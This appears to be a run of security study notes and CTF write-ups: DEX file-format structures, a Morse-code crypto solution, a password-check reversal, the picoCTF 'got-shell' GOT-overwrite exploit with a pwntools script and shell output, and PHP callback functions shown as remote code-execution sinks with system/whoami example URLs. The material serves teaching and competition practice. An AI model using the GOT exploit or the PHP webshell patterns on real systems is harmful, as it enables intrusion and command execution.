uleb128p1类型主要是用表示无符号数,其适用于以下场景 - 要求数字的表示必须非负 - 当数字为0xffffffff时,其加上1就为0,这时候我们就只需要1个字节即可。 - **有待进一步思考。** ### DEX 文件概览 DEX文件的整体结构如下 主要包括三个部分 - 文件头,给出dex文件的基本属性。 - 索引区,给出相关数据的索引,其数据其实放在数据区。 - 数据区,存放真实的字符串,代码。 ### DEX 文件头 DEX的文件头主要包含magic字段、alder32校验值、SHA-1哈希值、string_ids的个数以及偏移地址等,固定占用0x70个字节,数据结构如下 ```c++ struct DexHeader { u1 magic[8]; /* includes version number */ u4 checksum; /* adler32 checksum */ u1 signature[kSHA1DigestLen]; /* SHA-1 hash */ u4 fileSize; /* length of entire file */ u4 headerSize; /* offset to start of next section */ u4 endianTag; u4 linkSize; u4 linkOff; u4 mapOff; u4 stringIdsSize; u4 stringIdsOff; u4 typeIdsSize; u4 typeIdsOff; u4 protoIdsSize; u4 protoIdsOff; u4 fieldIdsSize; u4 fieldIdsOff; u4 methodIdsSize; u4 methodIdsOff; u4 classDefsSize; u4 classDefsOff; u4 dataSize; u4 dataOff; }; ``` 其中具体的描述如下 | 名称 | 格式 | 说明 | | --------------- | ------------------------- | ---------------------------------------- | | magic | ubyte[8] = DEX_FILE_MAGIC | 标识DEX文件,其中DEX_FILE_MAGIC ="dex\n035\0" | | checksum | uint | 除 `magic` 和此字段之外的文件剩下内容的 adler32 校验和,用于检测文件损坏情况 | | signature | ubyte[20] | 除 `magic`、`checksum` 和此字段之外的文件的内容的 SHA-1 签名(哈希),用于对文件进行唯一标识 | | file_size | uint | 整个文件(包括文件头)的大小,以字节为单位 | | header_size | uint = 0x70 | 文件头的大小,以字节为单位。 | | endian_tag | uint = ENDIAN_CONSTANT | 字节序标记,大端序或者小端序。 | | link_size | uint | 如果此文件未进行静态链接,则该值为 `0`,反之为链接区段的大小, | | link_off | uint | 如果 `link_size == 0`,则该值为 `0`; 反之,该偏移量是文件开头到到 `link_data` 区段的偏移量。 | | map_off | uint | 该偏移量必须非零,标识从文件开头到 `data` 区段的偏移量。 | | string_ids_size | uint | 字符串标识符列表中的字符串数量 | | string_ids_off | uint | 如果 `string_ids_size == 0`(不可否认是一种奇怪的极端情况),则该值为 `0`; 反之表示从文件开头到`string_ids`的偏移量。 | | type_ids_size | uint | 类型标识符列表中的元素数量,最大为 65535 | | type_ids_off | uint | 如果 `type_ids_size == 0`(不可否认是一种奇怪的极端情况),则该值为 `0`; 反之表示从文件开头到 `type_ids` 区段开头的偏移量。 | | proto_ids_size | uint | 原型(方法)标识符列表中的元素数量,最多为 65535 | | proto_ids_off | uint | 如果 `proto_ids_size == 0`(不可否认是一种奇怪的极端情况),则该值为 `0`; 反之该偏移量表示文件开头到 `proto_ids` 区段开头的偏移量。 | | field_ids_size | uint | 字段标识符列表中的元素数量 | | field_ids_off | uint | 如果 `field_ids_size == 0`,则该值为 `0`; 反之该偏移量表示文件开头到 `field_ids` 区段开头的偏移量。 | | method_ids_size | uint | 方法标识符列表中的元素数量 | | method_ids_off | uint | 如果 `method_ids_size == 0`,则该值为 `0`。反之该偏移量表示从文件开头到 `method_ids` 区段开头的偏移量。 | | class_defs_size | uint | 类定义列表中的元素数量 | | class_defs_off | uint | 如果 `class_defs_size == 0`(不可否认是一种奇怪的极端情况),则该值为 `0` ;反之该偏移量表示文件开头到 `class_defs` 区段开头的偏移量。 | | data_size | uint | `data` 区段的以字节为单位的大小,必须是 sizeof(uint) 的偶数倍,说明8字节对齐。 | | data_off | uint | 从文件开头到 `data` 区段开头的偏移量。 | ### DEX 索引区 #### string id StringIds 区段包含`stringIdsSize`个`DexStringId`结构,其结构如下: ```c++ struct DexStringId { u4 stringDataOff; /* 字符串数据偏移,也就是数据区中各个 StringData 的文件偏移*/ }; ``` 可以看出DexStringId中存储的只是每一个字符串的相对偏移。此外,每一个偏移占据4个字节,字符串部分一共会占据4*stringIdsSize个字节。 在对应的偏移处,字符串是使用MUTF-8格式存储的,其开头存储了之前我们所说的LEB128类型的变量,表示字符串的长度,之后紧跟着的就是字符串,之后以\x00结尾,字符串的长度不包含\x00。 #### type id type_ids 区索引了java代码中使用的所有类型(类、数组或基本类型),此列表必须按 `string_id` 索引进行排序,并且不能重复。 ```c++ struct DexTypeId { u4 descriptorIdx; /* 指向 DexStringId列表的索引 */ }; ``` #### proto Id Proto id字段主要是针对于 java 中的方法原型而设计的,这里面主要包含了一个方法声明的返回类型与参数列表,对于方法名尚未涉及。其主要包含以下三个数据结构 ```c++ struct DexProtoId { u4 shortyIdx; /* 返回类型+参数类型,简写,指向DexStringId列表的索引 */ u4 returnTypeIdx; /* 返回类型,指向DexTypeId列表的索引 */ u4 parametersOff; /* 参数类型,指向DexTypeList的偏移 */ } struct DexTypeList { u4 size; /* DexTypeItem的个数,即参数个数 */ DexTypeItem list[1]; /* 指向DexTypeItem开始处 */ }; struct DexTypeItem { u2 typeIdx; /* 参数类型,指向DexTypeId列表的索引,最终指向字符串索引 */ }; ``` #### field id field id区主要是针对于java中每个类的字段而设计的,主要涉及到以下数据结构 ```c++ struct DexFieldId { u2 classIdx; /* 类的类型,指向DexTypeId列表的索引 */ u2 typeIdx; /* 字段类型,指向DexTypeId列表的索引 */ u4 nameIdx; /* 字段名,指向DexStringId列表的索引 */ }; ``` #### method id method id区是直接为 java 中的方法而设计的,其包含了方法所在的类,方法的原型,方法的名字。 ```c++ struct DexMethodId { u2 classIdx; /* 类的类型,指向DexTypeId列表的索引 */ u2 protoIdx; /* 声明类型,指向DexProtoId列表的索引 */ u4 nameIdx; /* 方法名, 指向DexStringId列表的索引 */ }; ``` #### class def classDefsSize表明 class def 区域的大小,classDefsOff表明class def 区的偏移。 该区是为 java 中的类而设计的,包含以下的数据结构,相关信息如下 ```c++ // 类的基本信息 struct DexClassDef { u4 classIdx; /* 类的类型,指向DexTypeId列表的索引 */ u4 accessFlags; /* 访问标志 */ u4 superclassIdx; /* 父类类型,指向DexTypeId列表的索引 */ u4 interfacesOff; /* 接口,指向DexTypeList的偏移 */ u4 sourceFileIdx; /* 源文件名,指向DexStringId列表的索引 */ u4 annotationsOff; /* 注解,指向DexAnnotationsDirectoryItem结构 */ u4 classDataOff; /* 指向DexClassData结构的偏移 */ u4 staticValuesOff; /* 指向DexEncodedArray结构的偏移 */ }; // 类的字段与方法概况 struct DexClassData { DexClassDataHeader header; /* 指定字段与方法的个数 */ DexField* staticFields; /* 静态字段,DexField结构 */ DexField* instanceFields; /* 实例字段,DexField结构 */ DexMethod* directMethods; /* 直接方法,DexMethod结构 */ DexMethod* virtualMethods; /* 虚方法,DexMethod结构 */ // 详细描述类的字段个数与方法个数 struct DexClassDataHeader { u4 staticFieldsSize; /* 静态字段个数 */ u4 instanceFieldsSize; /* 实例字段个数 */ u4 directMethodsSize; /* 直接方法个数 */ u4 virtualMethodsSize; /* 虚方法个数 */ }; // 字段定义 struct DexField { u4 fieldIdx; /* 指向DexFieldId的索引 */ u4 accessFlags; /* 访问标志 */ }; // 方法定义 struct DexMethod { u4 methodIdx; /* 指向DexMethodId的索引 */ u4 accessFlags; /* 访问标志 */ u4 codeOff; /* 指向DexCode结构的偏移 */ }; // 代码概况 struct DexCode { u2 registersSize; /* 使用的寄存器个数 */ u2 insSize; /* 参数个数 */ u2 outsSize; /* 调用其他方法时其它方法使用的寄存器个数,会在自己的调用栈申请,并压栈(猜测) */ u2 triesSize; /* Try/Catch个数 */ u4 debugInfoOff; /* 指向调试信息的偏移 */ u4 insnsSize; /* 指令集个数,以2字节为单位 */ u2 insns[1]; /* 指令集 */ }; ``` #### 小结 可以看出在索引区指向是比较复杂的,但同时也比较巧妙,这里给出Dalvik设计者在[Google Developer Day 2008 China](https://sites.google.com/site/developerdaychina/) 演讲中给出的例子。 ### DEX 数据区 这里存的就是之前所说的各种数据了。 ### DEX map section DexHeader中的mapOff字段给出了DexMapList结构在DEX文件中的偏移。当Dalvik虚拟机解析DEX文件后的内容后,会将内容映射到DexMapList数据结构,可以说该结构描述了对应的DEX文件的整体概况。其具体代码如下 ```c++ struct DexMapList { u4 size; /* DexMapItem的个数,方便解析 */ DexMapItem list[1]; /* 指向DexMapItem */ }; struct DexMapItem { u2 type; /* kDexType开头的类型 */ u2 unused; /* 未使用,用于字节对齐 */ u4 size; /* 指定相应类型的个数 */ u4 offset; /* 指定相应类型的数据的文件偏移 */ }; /* type字段为一个枚举常量,通过类型名称很容易判断它的具体类型。 */ /* map item type codes */ enum { kDexTypeHeaderItem = 0x0000, kDexTypeStringIdItem = 0x0001, kDexTypeTypeIdItem = 0x0002, kDexTypeProtoIdItem = 0x0003, kDexTypeFieldIdItem = 0x0004, kDexTypeMethodIdItem = 0x0005, kDexTypeClassDefItem = 0x0006, kDexTypeMapList = 0x1000, kDexTypeTypeList = 0x1001, kDexTypeAnnotationSetRefList = 0x1002, kDexTypeAnnotationSetItem = 0x1003, kDexTypeClassDataItem = 0x2000, kDexTypeCodeItem = 0x2001, kDexTypeStringDataItem = 0x2002, kDexTypeDebugInfoItem = 0x2003, kDexTypeAnnotationItem = 0x2004, kDexTypeEncodedArrayItem = 0x2005, kDexTypeAnnotationsDirectoryItem = 0x2006, }; ``` ## DEX实例 具体的可以自己找一个 apk,然后拿 010editor 的模板解析一下就可以看到相应的结果了。 ## 参考阅读 - Android 软件安全与逆向分析
sec-knowleage
# -.- Crypto, 100 points ## Description: > To 1337-H4X0R: > > Our coworker Bob loves a good classical cipher. Unfortunately, he also loves to send everything encrypted with these ciphers. Can you go ahead and decrypt this for me? > The following file was attached: ``` dah-dah-dah-dah-dah dah-di-di-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dit dah-di-di-di-dit dah-di-dit di-di-di-di-dah dah-di-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dit di-di-di-di-dit di-di-dah-dah-dah di-dah dah-dah-di-di-dit di-di-di-dah-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit di-di-di-di-dah dah-dah-dah-di-dit dah-di-di-di-dit dah-di-di-dit dah-di-di-di-dit di-dah di-di-di-di-dah dah-dah-dah-dah-dit dah-dah-di-di-dit di-di-di-di-dah di-di-dah-dah-dah di-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-dah-dah-dah dah-di-di-di-dit di-di-di-di-dah di-dah dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dit di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-di-di-di-dit di-dah dah-di-di-di-dit dah-di-dit di-di-dah-dah-dah di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-dit di-di-di-di-dah di-di-di-di-dah dah-di-di-di-dit dah-di-di-dit dah-di-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dit dit di-di-di-di-dah dit di-di-di-dah-dah dah-dah-dah-dah-dit dah-di-di-di-dit dah-di-di-di-dit dah-di-di-di-dit dah-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-di-dit di-di-di-di-dah di-di-di-di-dit di-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit di-di-dah-dit di-di-di-di-dit di-di-di-di-dah di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dit di-dah di-di-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dah-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dit di-dah di-di-di-di-dah dah-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah di-dah di-di-dah-dah-dah di-dah-dah-dah-dah di-di-di-di-dah dah-di-di-di-dit dah-di-di-di-dit dah-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-di-di-di-dit dah-di-dah-dit di-di-dah-dah-dah di-di-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah dah-di-di-di-dit di-dah dah-dah-di-di-dit di-dah-dah-dah-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dah di-di-di-di-dah dah-di-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-di-dah dah-dah-dah-dah-dit di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-di-dit dah-di-di-di-dit di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit dah-dah-di-di-dit di-dah di-di-di-di-dah dah-dah-di-di-dit di-di-dah-dah-dah dah-dah-dah-dah-dah dah-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-di-di-dit dah-di-di-di-dit dah-di-dit dah-dah-di-di-dit dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-dah-dah di-dah-dah-dah-dah dah-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-di-di-dit di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit di-di-di-dah-dah dah-di-di-di-dit dah-di-dah-dit di-di-di-dah-dah di-dah-dah-dah-dah di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dah dah-di-di-dit di-di-dah-dah-dah dah-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dit di-di-di-dah-dah dah-dah-dah-dah-dah dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-dah-dah-di-dit di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-dah-dah di-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dah dah-dah-dah-dah-dit di-di-di-dah-dah di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-dit di-di-dah-dah-dah dah-dah-dah-dah-dah dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit di-dah di-di-di-di-dah dah-di-di-dit di-di-di-di-dit di-dah dah-dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit di-di-dah-dit dah-di-di-di-dit dah-di-dit dah-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dah di-di-di-di-dah di-di-di-di-dit di-di-di-dah-dah dah-di-di-di-dit dah-dah-dah-di-dit di-di-di-di-dah dah-di-dah-dit dah-di-di-di-dit dah-di-dit di-di-di-dah-dah dah-dah-dah-di-dit di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dah dah-di-di-di-dit dah-di-di-di-dit dit di-di-di-di-dit di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah dah-dah-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-dah di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dah dit dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah di-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-di-dit dah-dah-dah-di-dit di-di-dah-dah-dah dah-di-di-di-dit di-di-di-dah-dah dah-dah-dah-di-dit dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dah dah-dah-di-di-dit dah-di-di-di-dit dit di-di-dah-dah-dah di-dah-dah-dah-dah di-di-di-dah-dah di-dah-dah-dah-dah di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dit di-di-di-di-dah dah-dah-di-di-dit di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-di-di-dit di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-di-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dit di-di-dah-dah-dah dah-dah-di-di-dit di-dah di-di-di-di-dit dah-di-di-di-dit di-di-dah-dah-dah di-dah-dah-dah-dah dah-di-di-di-dit di-dah di-di-dah-dah-dah di-dah-dah-dah-dah dah-dah-di-di-dit dah-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-di-dit di-di-di-di-dah di-di-dah-dah-dah dah-di-di-di-dit di-dah dah-di-di-di-dit di-di-di-di-dah di-di-di-di-dah dit di-di-di-di-dah dah-dah-dah-dah-dit dah-dah-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-dah-dah di-di-di-di-dit dah-dah-di-di-dit dah-dah-di-di-dit di-di-dah-dah-dah di-di-di-dah-dah di-di-dah-dah-dah di-di-di-di-dah di-di-dah-dah-dah di-di-di-di-dit di-di-di-di-dit dah-di-di-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-di-dit di-di-di-di-dit di-di-di-di-dit di-dah di-di-di-di-dah di-di-dah-dit di-di-di-di-dit dah-dah-dah-dah-dit di-di-di-di-dit di-dah di-di-di-dah-dah di-di-dah-dah-dah dah-dah-di-di-dit di-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-di-di-dit di-di-di-di-dah di-di-di-dah-dah di-di-dah-dah-dah di-di-di-dah-dah di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-di-dah-dah dah-dah-di-di-dit di-di-dah-dah-dah dah-di-di-di-dit dah-dah-di-di-dit dah-dah-dah-di-dit di-di-di-di-dah dah-di-dah-dit di-di-di-di-dah dah-dah-dah-dah-dah di-di-di-di-dit dah-dah-di-di-dit di-di-di-di-dah di-di-dah-dit di-di-di-dah-dah dah-dah-di-di-dit di-di-di-dah-dah di-di-di-di-dah di-di-di-dah-dah di-dah-dah-dah-dah di-di-di-dah-dah dah-dah-dah-dah-dah di-di-di-di-dit di-dah-dah-dah-dah di-di-di-di-dah dah-dah-dah-dah-dit ``` ## Solution: This immediately looks like morse-code, with dots and dashes. `dah` stands for (and sounds like) "dash", and `di`/`dit` stand for (and sound like) "dot" (with the distinction where the latter is used at the end of a word). If we decode the message using morse code, we get: ``` 0X57702A6C58744751386538716E6D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B6670235E4E39666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D385145466E5574774A404E754F59665826387540476E213125547176305663527A56216A217675757038426A644E49714535772324255634555A4F595A327A37543235743726784C40574F373431305149 ``` This looks like hex, and we can convert it to ASCII to get the following message: ``` Wp*lXtGQ8e8qnmMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#^N9fk4dU4lB3rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzG gigem{C1icK_cl1CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFnUtwJ@NuOYfX&8u@Gn!1%Tqv0VcRzV!j!vuup8BjdNIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI ``` The flag hides inside the text: gigem{C1icK_cl1CK-y0u_h4v3_m4I1}. The following Python script handles the decode process end-to-end: ```python class MorseCode(object): CODE = { 'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-', 'R': '.-.', 'S': '...', 'T': '-', 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-', 'Y': '-.--', 'Z': '--..', '0': '-----', '1': '.----', '2': '..---', '3': '...--', '4': '....-', '5': '.....', '6': '-....', '7': '--...', '8': '---..', '9': '----.' } def __init__(self): self.decode_map = {v:k for k, v in self.CODE.items()} def encode(self, msg): res = "" for c in msg: res += ' ' if c == ' ' else self.CODE[c] return res def decode(self, msg): res = [] for word in msg.split(" "): res.append(self.decode_map[word]) return "".join(res) with open("flag.txt") as f: mc = MorseCode() msg = f.read() msg = msg.replace("-", "").replace("dah", "-").replace("dit", ".").replace("di", ".") r = mc.decode(msg) print (r) print (format(int(r, 0), 'x').decode("hex")) ```
sec-knowleage
## Reverse 200 (re, 200p) ### PL [ENG](#eng-version) Dostajemy [program](./r200) (elf konkretnie), który, podobnie jak poprzedni, wykonuje sprawdzenie hasła i odpowiada czy hasło jest poprawne czy nie. Domyślamy się że poprawne hasło jest flagą. Cały program to coś w rodzaju: int main() { printf("Enter the password: "); if (fgets(&password, 255, stdin)) { if (check_password(password)) { puts("Incorrect password!"); } else { puts("Nice!"); } } } Patrzymy więc w funkcję check_password. W bardzo dużym uproszczeniu (tak naprawde nie było tu żadnych funkcji wywoływanych, wszystko inlinowane: bool check_password(char *password) { int buf[6]; int reqired[6] = { 5, 2, 7, 2, 5, 6 }; for (int i = 0; i <= 5; i++) { buf[i] = get_from_assoc(list, password[i]); } for (int i = 0; i <= 5; i++) { if (buf[i] != required[i]) { return true; } } return false; } Gdzie list to globalna zmienna - lista asocjacyjna, wyglądająca mniej więcej tak (w nie-C składni): { 'm': 0, 'n': 1, 'o': 2, 'p': 3, 'q': 4, 'r': 5, 's': 6, 't': 7, 'u': 8, 'v': 9, 'w': 10, 'x': 11, 'y': 12, 'z': 13 } Z tego odczytaliśmy wymagane hasło - "rotors". ### ENG version We get a [binary](./r200) (elf to be exact), which, as previously, performs a password check and returns if the password was correct or not, We expect the password to be the flag. The code is something like: int main() { printf("Enter the password: "); if (fgets(&password, 255, stdin)) { if (check_password(password)) { puts("Incorrect password!"); } else { puts("Nice!"); } } } We look at the check_password function. Simplified version (there were no function calls, all inlined): bool check_password(char *password) { int buf[6]; int reqired[6] = { 5, 2, 7, 2, 5, 6 }; for (int i = 0; i <= 5; i++) { buf[i] = get_from_assoc(list, password[i]); } for (int i = 0; i <= 5; i++) { if (buf[i] != required[i]) { return true; } } return false; } Where list is a global variable - associative container containing: { 'm': 0, 'n': 1, 'o': 2, 'p': 3, 'q': 4, 'r': 5, 's': 6, 't': 7, 'u': 8, 'v': 9, 'w': 10, 'x': 11, 'y': 12, 'z': 13 } We used it to read the password - "rotors".
sec-knowleage
# got-shell Binary Exploitation, 350 points ## Description: > Can you authenticate to this service and get the flag? ```c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <sys/types.h> void win() { system("/bin/sh"); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); char buf[256]; unsigned int address; unsigned int value; puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?"); scanf("%x", &address); sprintf(buf, "Okay, now what value would you like to write to 0x%x", address); puts(buf); scanf("%x", &value); sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address); puts(buf); *(unsigned int *)address = value; puts("Okay, exiting now...\n"); exit(1); } ``` ## Solution: The program kindly allows us to write an arbitrary DWORD to an arbitrary address. With this write, we are supposed to be able to access the flag. Luckily, we have a function (`win()`) that when called, will give us a shell. So, we just need to find a way to call it. To do that, we'll override the .got.plt entry for `exit` with the address of `win`. Then, when the program wants to call `exit`, it will jump to the the overridden entry and execute `win` instead. A good explanation about what is the `.got.plt` can be found [here](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html). Quoting from the blog post: > .got: This is the GOT, or Global Offset Table. This is the actual table of offsets as filled in by the linker for external symbols. > .plt: This is the PLT, or Procedure Linkage Table. These are stubs that look up the addresses in the .got.plt section, and either jump to the right address, or trigger the code in the linker to look up the address. (If the address has not been filled in to .got.plt yet.) > .got.plt: This is the GOT for the PLT. It contains the target addresses (after they have been looked up) or an address back in the .plt to trigger the lookup. Classically, this data was part of the .got section. The script: ```python from pwn import * PROGRAM = "./auth" e = ELF(PROGRAM) r = remote("2018shell3.picoctf.com", 54664) log.info("Address of 'exit' .got.plt entry: {}".format(hex(e.got['exit']))) log.info("Address of 'win': {}".format(hex(e.symbols['win']))) r.sendlineafter("Where would you like to write this 4 byte value?", hex(e.got['exit'])) print r.recvline() r.sendline(hex(e.symbols['win'])) r.interactive() ``` The output: ```console root@kali:/media/sf_CTFs/pico/got-shell# python exploit.py [*] '/media/sf_CTFs/pico/got-shell/auth' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to 2018shell3.picoctf.com on port 54664: Done [*] Address of 'exit' .got.plt entry: 0x804a014 [*] Address of 'win': 0x804854b [*] Switching to interactive mode Okay, now what value would you like to write to 0x804a014 Okay, writing 0x804854b to 0x804a014 Okay, exiting now... $ ls auth auth.c flag.txt xinet_startup.sh $ cat flag.txt picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_150b198c} $ exit timeout: the monitored command dumped core [*] Got EOF while reading in interactive $ $ [*] Closed connection to 2018shell3.picoctf.com port 54664 [*] Got EOF while sending in interactive ``` The flag: picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_150b198c}
sec-knowleage
# PHP回调函数 --- ## call_user_func call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数 ```php <?php call_user_func($_GET['a1'],$_GET['a2']); ?> //xxx.php?a1=system&a2=whoami //命令执行 //xxx.php?a1=assert&a2=phpinfo() //代码执行 ``` ## call_user_func_array() call_user_func_array() 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入 ```php <?php call_user_func_array($_GET['a1'],$_GET['a2']); ?> //xxx.php?a1=system&a2[]=whoami //xxx.php?a1=assert&a2[]=phpinfo() ``` ## create_function() 创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值 ```php <?php $b=create_function('', @$_REQUEST['a']);$b(); ?> //xxx.php?a=phpinfo(); ``` ## array_walk() array_walk — 使用用户自定义函数对数组中的每个元素做回调处理 ```php <?php array_walk($_GET['a'],$_GET['b']); ?> //xxx.php?a[]=whoami&b=system //xxx.php?a[]=phpinfo()&b=assert ``` ## array_map() array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。 ```php <?php array_map($_GET['a'],$_GET['b']); ?> //xxx.php?a=system&b[]=whoami //xxx.php?a=assert&b[]=phpinfo() ``` ## array_filter() array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 ```php <?php array_filter(array($_GET['cmd']),$_GET['func']); ?> //?func=system&cmd=whoami //?func=assert&cmd=phpinfo() ``` ## 可变函数$var(args) PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。 ```php <?php $_GET['a']($_GET['b']); ?> //xxx.php?a=system&b=whoami //xxx?a=assert&b=phpinfo() ```
sec-knowleage
# Stateful Keen Category: Programming, 70 Points ## Description >``` > ________________ > .' \ \ \ \ `. > / \ \ \ \ '. > /\ | | | | \ > | \ | | | | \ > | / _|__|____|__|__ \ > | / / \ | > |/ | <(=)> <(=)> ' | > | | _| | | > | (|) | /\ | | > ' ' | \____ / ] > ' '\ \_____/ .| ' > '__,' \_________.' |_/ > |____________\ ,. > ,. /\ \ > .` || \ > .` ----\ \ > / <== |, \ > / <== | \_\ > ' ---/ | > `._ /| \____/ > / `-,./ | ' > / / | | > (______`'._|_________________| By Geoff Sims © 1998 > ``` > > Welcome to the land of CSA! > > In this challenge you'll help our CSA hero KEEN to find the lost FLAG :) > The flag is hidden somewhere in the game code. > To complete the mission you'll have to use the attached game code. > > IMPORTANT: submit the flag in the following format: CSA{...}. > > GOOD LUCK! A zip file was attached. ## Solution Let's take a look at the zip file contents: ```console root@kali:/media/sf_CTFs/checkpoint/Stateful_Keen/stateful-keen/Source# ls audiokdr.h graphkdr.equ id_ca.c id_in.c id_mm.h id_rf.h id_us_a.asm id_us_s.c id_vw_ae.asm jam_io.c kd_act2.c kd_keen.c kdreams.prj lzhuf.c README.md soft.h gelib.c graphkdr.h id_ca.h id_in.h id_rf_a.asm id_sd.c id_us.c id_vw_a.asm id_vw.c jam_io.h kd_def.h kd_main.c LICENSE 